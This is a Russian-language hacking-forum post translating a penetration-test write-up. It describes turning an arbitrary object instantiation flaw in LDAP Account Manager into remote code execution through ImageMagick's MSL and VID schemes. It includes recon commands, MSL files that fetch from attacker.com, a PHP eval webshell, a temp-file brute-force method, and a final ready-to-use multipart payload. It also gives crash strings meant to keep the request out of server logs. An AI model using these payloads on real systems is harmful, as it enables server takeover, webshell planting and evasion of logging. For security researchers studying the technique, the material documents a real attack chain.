• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Использование экземпляров произвольных объектов в PHP без пользовательских классов

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
Оригинальная статья
Переведено специяльно для xss.pro
Камнями кидать в Jolah Milovski


1659726874763.png

Во время внутреннего теста на проникновение я обнаружил уязвимость создания экземпляров произвольных объектов без проверки подлинности в LAM (LDAP Account Manager), приложении PHP.
Создание экземпляров произвольных объектов в PHP — это уязвимость, позволяющая злоумышленнику создавать произвольные объекты. Этот недостаток может проявляться во всех формах и размерах. В моем случае уязвимый код можно было бы сократить до одной простой конструкции:

PHP:
new $_GET['a']($_GET['b']);

Вот и все. Там больше ничего не было, и у меня не было пользовательских классов, которые могли бы дать мне выполнение кода или загрузку файла. В этой статье я объясню, как мне удалось получить удаленное выполнение кода с помощью этой конструкции.

Обнаружение менеджера учетных записей LDAP​


В начале нашего внутреннего теста на проникновение я просканировал сеть на наличие порта 636/tcp (ssl/ldap) и обнаружил службу LDAP:

Код:
$ nmap 10.0.0.1 -p80,443,389,636 -sC -sV -Pn -n
Nmap scan report for 10.0.0.1
Host is up (0.005s latency).

PORT STATE SERVICE VERSION
369/tcp closed ldap
443/tcp open ssl/http Apache/2.4.25 (Debian)
636/tcp open ssl/ldap OpenLDAP 2.2.X - 2.3.X
| ssl-cert: Subject: commonName=*.company.com
| Subject Alternative Name: DNS:*.company.com, DNS:company.com
| Not valid before: 2022-01-01T00:00:00
|_Not valid after: 2024-01-01T23:59:59
|_ssl-date: TLS randomness does not represent time

Я попытался получить доступ к этой службе LDAP через анонимный сеанс, но без результатно:

Код:
$ ldapsearch -H ldaps://10.0.0.1:636/ -x -s base -b '' "(objectClass=*)" "*" +
ldap_sasl_bind(SIMPLE): Can't contact LDAP server (-1)

Однако после того, как я добавил строку «10.0.0.1 company.com» в свой файл /etc/hosts, я смог подключиться к этому LDAP и извлечь все общедоступные данные. Это означало, что на сервере была проверка TLS SNI, и я смог обойти ее, используя имя хоста из сертификата сервера.
Домен «company.com» не был правильным доменным именем сервера, но он работал.

Код:
$ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
configContext: cn=config
namingContexts: dc=linux,dc=company,dc=com
…

$ ldapsearch -H ldaps://company.com:636/ -x -s sub -b 'dc=linux,dc=company,dc=com' "(objectClass=*)" "*" +
…
objectClass: person
objectClass: ldapPublicKey
sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAuZwGKsvsKlXhscOsIMUrwtFvoEgl
…

После извлечения информации я обнаружил, что почти каждая запись пользователя в LDAP имеет свойство sshPublicKey, содержащее открытые SSH-ключи пользователей. Таким образом, получение доступа к этому серверу будет означать получение доступа ко всей инфраструктуре Linux этого клиента.
Так как я не знал о каких-либо уязвимостях в OpenLDAP, я решил перебрать сервер Apache через порт 443/tcp для любых файлов и каталогов. Был только один каталог:

Код:
[12:00:00] 301 -   344B   ->  /lam => https://10.0.0.1/lam/

Менеджер по учетным записям LDAP​


LDAP Account Manager (LAM) — это веб-приложение PHP для управления каталогами LDAP через удобный веб-интерфейс. Это одна из альтернатив FreeIPA.


Я столкнулся с системой LAM 5.5:


1659727281316.png


Конфигурация LAM по умолчанию позволяет любому пользователю LDAP входить в систему, но ее можно легко изменить, чтобы принимать пользователей только из указанной административной группы. Также может быть применена дополнительная двухфакторная аутентификация, такая как Yubico или TOTP.
Исходный код LAM можно было скачать с его официальной страницы GitHub . LAM 5.5 был выпущен в сентябре 2016 года. Кодовая база LAM 5.5 довольно бедна по сравнению с более новыми версиями, и это доставило мне некоторые проблемы.
В отличие от многих веб-приложений LAM не предназначен для ручной установки на веб-сервер. LAM включен в репозитории Debian и обычно устанавливается оттуда или из пакетов deb/rpm. При такой настройке на сервере не должно быть неправильных конфигураций и другого программного обеспечения.

Анализ менеджера учетных записей LDAP

В LAM 5.5 есть несколько сценариев, доступных для неавторизованных пользователей.
Я обнаружил внедрение LDAP, которое было бесполезным, поскольку данные вводились в анонимный сеанс LDAP, и создание экземпляров произвольного объекта.

/lam/templates/help.php:
Код:
if (isset($_GET['module']) && !($_GET['module'] == 'main') && !($_GET['module'] == '')) {
    include_once(__DIR__ . "/../lib/modules.inc");
    if (isset($_GET['scope'])) {
        $helpEntry = getHelp($_GET['module'],$_GET['HelpNumber'],$_GET['scope']);
    }
    else {
        $helpEntry = getHelp($_GET['module'],$_GET['HelpNumber']);
    }
…

/lib/modules.inc:

Код:
function getHelp($module,$helpID,$scope='') {
    …
    $moduleObject = moduleCache::getModule($module, $scope);
    …

/lam/lib/account.inc:

Код:
public static function getModule($name, $scope) {
    …
    self::$cache[$name . ':' . $scope] = new $name($scope);
    …


Здесь значение $_GET['module'] переходит $name, а значение $_GET['scope'] переходит $scope. Так и получается new $name($scope).
Итак, от того, получу ли я доступ ко всей инфраструктуре Linux этого клиента, зависит, смогу ли я использовать эту конструкцию для удаленного выполнения кода или нет.

Использование «новых $a($b)» через пользовательские классы или автозагрузку​


В создании new $a($b), переменная $a обозначает имя класса, для которого будет создан объект, а переменная $b обозначает первый аргумент, который будет передан конструктору объекта. Если $a также как и $b приходит из GET/POST, они могут быть строками или строковыми массивами. Если они получены из JSON или откуда-то еще, они могут иметь другие типы, например объектные или логические.

Рассмотрим следующий пример:

Код:
class App {
    function __construct ($cmd) {
        system($cmd);
    }
}

# Additionally, in PHP < 8.0 a constructor might be defined using the name of the class
class App2 {
    function App2 ($cmd) {
        system($cmd);
    }
}

# Vulnerable code
$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

В этом коде вы можете установить $a в App или App2, а $b - в uname -a. После этого будет выполнена команда uname -a.
Если в вашем приложении нет таких эксплуатируемых классов, или нужный класс находится в отдельном файле, не включенном в уязвимый код, можно воспользоваться функциями автозагрузки.
Функции автозагрузки устанавливаются путем регистрации обратных вызовов через spl_autoload_register или путем определения __autoload. Они вызываются при попытке создания экземпляра неизвестного класса.

Код:
# An example of an autoloading function
spl_autoload_register(function ($class_name) {
        include './../classes/' . $class_name . '.php';
});

# An example of an autoloading function, works only in PHP < 8.0
function __autoload($class_name) {
        include $class_name . '.php';
};

# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path
spl_autoload_register();

В зависимости от версии PHP и кода в функциях автозагрузки могут существовать некоторые способы получить удаленное выполнение кода с помощью автозагрузки.
В LAM 5.5 я не смог найти ни одного полезного пользовательского класса, и у меня не было автозагрузки.


Использование «нового $a($b)» через встроенные классы​


Если у вас нет пользовательских классов и автозагрузки, вы можете полагаться только на встроенные классы PHP.
Существует от 100 до 200 встроенных классов PHP. Их количество зависит от версии PHP и установленных расширений. Все встроенные классы могут быть перечислены через get_declared_classesфункция вместе с пользовательскими классами:

Код:
var_dump(get_declared_classes());

Классы с полезными конструкторами можно найти через reflection API.

1659728140175.png


Если вы управляете несколькими параметрами конструктора и можете впоследствии вызывать произвольные методы, существует много способов получить удаленное выполнение кода. Но если вы можете передать только один параметр и не иметь обращений к созданному объекту, то почти ничего нет.


Я знаю только три способа получить что-то от new $a($b).


Использование десериализации SSRF + Phar


The SplFileObjectкласс реализует конструктор, который позволяет подключаться к любому локальному или удаленному URL-адресу:

Код:
new SplFileObject('http://attacker.com/');


Это позволяет SSRF. Кроме того, SSRF в PHP < 8.0 можно превратить в десериализацию с помощью методов протокола Phar.


Мне не нужен был SSRF, потому что у меня был доступ к локальной сети. И я не смог найти ни одной POP-цепочки в LAM 5.5, поэтому я даже не рассматривал возможность эксплуатации десериализации через Phar.

Использование PDO


В классе PDO есть еще один интересный конструктор:

Код:
new PDO("sqlite:/tmp/test.txt")

PDO конструктор принимает строки DSN, что позволяет нам подключаться к любой локальной или удаленной базе данных с помощью установленных расширений базы данных. Например, расширение SQLite может создавать пустые файлы.
Когда я протестировал это на своем целевом сервере, я обнаружил, что у него нет никаких расширений PDO. Ни SQLite, MySQL, ODBC.

SoapClient/SimpleXMLElement XXE

В PHP ≤ 5.3.22 и ≤ 5.4.12 конструктор SoapClient был уязвим для XXE. SimpleXMLElement также был уязвим для XXE, но для этого требовался libxml2 < 2.9.


Открытие новых способов использования «новых $a($b)»​


Чтобы открыть новые способы использования new $a($b), я решил расширить поверхность атаки. Я начал с выяснения того, какие версии PHP поддерживает LAM 5.5, а также какие расширения PHP он использует.
Поскольку LAM распространяется через пакеты deb/rpm, он содержит файл конфигурации со всеми его требованиями и зависимостями:

Код:
Source: ldap-account-manager
Maintainer: Roland Gruber <post@rolandgruber.de>
Section: web
Priority: extra
Standards-Version: 3.9.8
Build-Depends: debhelper (>= 7), po-debconf, yui-compressor
Homepage: https://www.ldap-account-manager.org/

Package: ldap-account-manager
Architecture: all
Depends: php5 (>= 5.4.26) | php (>= 21), php5-ldap | php-ldap, php5-gd | php-gd, php5-json | php-json , php5-imagick | php-imagick, apache2 | httpd, debconf (>= 0.2.26) | debconf-2.0, ${misc:Depends}
Recommends: php-apc
Suggests: ldap-server, php5-mcrypt, ldap-account-manager-lamdaemon, perl
...

Содержимое конфигурационного файла для deb-пакетов ( посмотреть на GitHub )

Для LAM 5.5 требуется PHP ≥ 5.4.26 и расширения LDAP, GD, JSON и Imagick.
Imagick печально известен своими уязвимостями удаленного выполнения кода, такими как ImageTragick и другие. Вот я и решил продолжить свои исследования.


Расширение Imagick​


Расширение Imagick реализует несколько классов, включая класс Imagick. Его конструктор имеет только один параметр, который может быть строкой или массивом строк:

1659728502543.png


Я проверил, Imagick::__construct может подключаться к моему хосту по HTTP:

1659728570016.png


1659728580069.png


Я обнаружил, что класс Imagick существует на целевом сервере, и выполнение new Imagick(...)достаточно, чтобы заставить сервер подключиться к моему хосту. Однако было неясно, достаточно ли создания экземпляра Imagick для запуска каких-либо уязвимостей в ImageMagick.
Я пытался отправить общедоступные POC на сервер, но все они потерпели неудачу. После этого я решил упростить задачу и попросил совета в одном из сообществ по безопасности приложений.


К счастью для меня, на помощь пришел Эмиль Лернер Он сказал, что если бы я мог передавать такие значения, как «epsi:/local/path» или «msl:/local/path» в ImageMagick, он использовал бы их например, epsi или msl, для определения формата файла.


Изучение схемы MSL​


Самый интересный формат ImageMagick — MSL.


MSL расшифровывается как Magick Scripting Language. Это встроенный язык ImageMagick, облегчающий чтение изображений, выполнение задач по обработке изображений и запись результатов обратно в файловую систему.

Я проверил, new Imagick(...) позволяет msl:схема:

1659728848378.png


1659728864878.png


Схема MSL работала на последних версиях PHP, Imagick и ImageMagick!


К сожалению, такие URL, как msl:http://attacker.com/ не поддерживаются, и мне нужно было загрузить файлы на сервер.
В LAM нет скриптов, которые разрешают загрузку без аутентификации, и я не думал, что метод с PHP_SESSION_UPLOAD_PROGRESS поможет, потому что мне нужен был правильно сформированный XML-файл для MSL.

Разбор пути Imagick​


Imagick поддерживает не только собственные схемы URL, но и схемы PHP (например, «php://», «zlib://» и т. д.). Я решил узнать, как это работает.
Вот что я обнаружил.


Нулевой байт все еще работает


Аргумент Imagick усекается нулевым байтом, даже если он содержит схему PHP:

Код:
# No errors
$a = new Imagick("/tmp/positive.png\x00.jpg");

# No errors
$a = new Imagick("http://attacker.com/test\x00test");

Квадратные скобки можно использовать для обнаружения ImageMagick


ImageMagick может считывать параметры, например размер изображения или номера кадров, из квадратных скобок в конце пути к файлу:

Код:
# No errors
$a = new Imagick("/tmp/positive.png[10x10]");

# No errors
$a = new Imagick("/tmp/positive.png[10x10]\x00.jpg");

Это может быть использовано для определения того, контролируете ли вы ввод данных в библиотеку ImageMagick.


«https://» переходит в PHP, а «https:/» — в curl


ImageMagick поддерживает более 100 различных схем.
Половина схем ImageMagick привязана к внешним программам. Это отображение можно просмотреть с помощью convert -list delegate:

1659729072114.png


Я обнаружил, что и PHP, и ImageMagick поддерживают схемы HTTPS.


Кроме того, передача строки «https:/» в new Imagick(...) обходит HTTPS-клиент PHP и вызывает процесс curl:

1659729109072.png


Это также преодолевает проверку сертификата TLS, потому что используется флаг -k. Это сбрасывает вывод сервера в /tmp/*.dat файл, который можно найти методом перебора /proc/[pid]/fd/[fd] возможные имена файлов, когда процесс активен.
Мне не удалось получить соединение по схеме «https:/» с целевого сервера, возможно, из-за отсутствия curl.

Массивы PHP можно использовать для перечисления файлов


Когда я обнаружил технику curl со сбросом данных запроса в /tmp/*.dat, и брутфорс /proc/[pid]/fd/[fd], я проверял new Imagick('http://...')также сбрасывает данные. Оно делает!
Я проверил, могу ли я временно сделать так, чтобы содержимое MSL отображалось в /proc/[pid]/fd/[fd]одного из рабочих процессов Apache и доступ к нему впоследствии из другого.
С new Imagick(...) разрешает строковые массивы и прекращает обработку объектов после первой ошибки, я смог перечислить PID на сервере и обнаружить все PID рабочих процессов Apache, из которых я могу прочитать файловые дескрипторы:

1659729286300.png


1659729320398.png


Я обнаружил, что из-за некоторых ограничений в Debian я могу получить доступ только к рабочему процессу Apache, в котором я выполняю код, и никаким другим. Однако этот метод работал локально на моем Arch Linux.

RCE #1: PHP Crash + Brute Force​


После тестирования нескольких способов включения файла из файлового дескриптора я обнаружил, что text:fd:30и аналогичные конструкции в случае сбоя рабочего процесса на удаленном веб-сервере:

12.png



Именно это сделало изначально возможной загрузку веб-шелла!


Идея заключалась в том, чтобы создать несколько временных файлов PHP с нашим контентом, используя запросы multipart/form-data. По умолчанию значение max_file_uploads любой клиент может отправить до 20 файлов в составном запросе, которые будут сохранены в /tmp/phpXXXXXXпути, где X ∈ [A-Za-z0-9]. Эти файлы никогда не будут удалены, если мы вызовем сбой рабочего процесса, который их создает.
Если мы отправим 20 000 таких составных запросов, содержащих по 20 файлов в каждом, это приведет к созданию 400 000 временных файлов.


20 000 × 20 = 400 000
(26+26+10) 6 / 400 000 = 142 000
P(A) = 1 – (1 – 400 000/(26+26+10) 6 ) 142 000 ≈ 0,6321



Таким образом, с вероятностью 63,21% после 142 000 попыток мы сможем угадать хотя бы одно временное имя и включить наш файл с содержимым MSL.

Отправка более 20 000 первоначальных запросов не ускорит процесс. Любой запрос, вызывающий сбой, выполняется довольно медленно и занимает больше секунды. Более того, создание более 400 000 файлов может привести к неожиданной нагрузке на файловую систему.

Давайте составим этот составной запрос!

Во-первых, нам нужно создать образ с веб-шеллом, так как MSL позволяет работать только с изображениями:

Код:
convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positive.png

Во-вторых, давайте создадим файл MSL, который скопирует это изображение с нашего HTTP-сервера в доступный для записи веб-каталог. Найти такую директорию в конфигурационных файлах LAM не составило труда.

Код:
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://attacker.com/positive.png" />
<write filename="/var/lib/ldap-account-manager/tmp/positive.php" />
</image>

И в-третьих, давайте соберем все вместе в Burp Suite Intruder:

1659729752538.png


Чтобы атака была гладкой, я поставил куку PHPSESSID для предотвращения создания нескольких файлов сеанса (не путать с временными файлами загрузки) и указал прямой IP сервера, так как оказалось, что у нас балансировщик на 10.0.0.1. который направлял запросы в разные центры обработки данных.
Кроме того, я включил режим отказа в обслуживании в Burp Intruder, чтобы предотвратить исчерпание дескрипторов Burp Suite, которое может произойти из-за неправильной обработки TCP на стороне сервера.
После того, как все 20 000 составных запросов были отправлены, я перебором заставил /tmp/phpXXXXXXфайлы через Burp Intruder:

1659729880625.png


Там не на что смотреть; все ответы сервера остались прежними. Однако после 120 000 попыток наш веб-шелл был загружен!

1659729910549.png


После этого мы получили административный доступ к OpenLDAP и получили контроль над всеми Linux-серверами.

RCE № 2: Схема VID​


Я попытался воспроизвести технику с text:fd:30 локально, и я обнаружил, что эта конструкция больше не приводит к сбою ImageMagick. Я углубился в исходники ImageMagick, чтобы найти новый сбой, и нашел кое-что получше.
Вот мое открытие.
Давайте посмотрим на функцию ReadVIDImage(...), который используется для разбора схем VID:

1659729983822.png



1659729996293.png


Схема VID принимает маски и создает с их помощью пути к файлам. Таким образом, используя vid:схему, мы можем включить наш временный файл с содержимым MSL, не зная его имени:

18.png


После этого я обнаружил довольно интересное caption:а также info:схемы. Сочетание того и другого позволяет устранить внеполосное соединение и создать веб-оболочку одним махом:

1659730162140.png


Вот как мы смогли использовать этот экземпляр произвольного объекта в одном запросе и без каких-либо классов приложения!


Последняя полезная нагрузка​


Вот окончательная полезная нагрузка для использования экземпляров произвольных объектов:

PHP:
Class Name: Imagick
Argument Value: vid:msl:/tmp/php*

-- Request Data --
Content-Type: multipart/form-data; boundary=ABC
Content-Length: ...
Connection: close
 
--ABC
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: text/plain
 
<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="caption:&lt;?php @eval(@$_REQUEST['a']); ?&gt;" />
 <!-- Relative paths such as info:./../../uploads/swarm.php can be used as well -->
 <write filename="info:/var/www/swarm.php" />
</image>
--ABC--

Он должен работать на каждой системе, на которой установлено расширение Imagick, и его можно использовать при десериализации, если вы найдете подходящий гаджет.
Когда среда выполнения PHP — libapache2-mod-php, вы можете предотвратить регистрацию этого запроса, загрузив веб-шелл и одновременно завершив процесс:

Код:
Argument Value: ["vid:msl:/tmp/php*", "text:fd:30"]

С момента постройки text:fd:30 не работает на последней версии ImageMagick, вот еще одно:

Код:
Crash Construction: str_repeat("vid:", 400)

Этот работает на каждом ImageMagick ниже 7.1.0-40 (выпущен 4 июля 2022 г.).


В таких установках, как Nginx + PHP-FPM, запрос не исчезнет из журналов Nginx, но его не следует записывать в журналы PHP-FPM.
 

Вложения

  • 1659730086503.png
    1659730086503.png
    15 КБ · Просмотры: 6
  • 1659730134247.png
    1659730134247.png
    15 КБ · Просмотры: 6


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх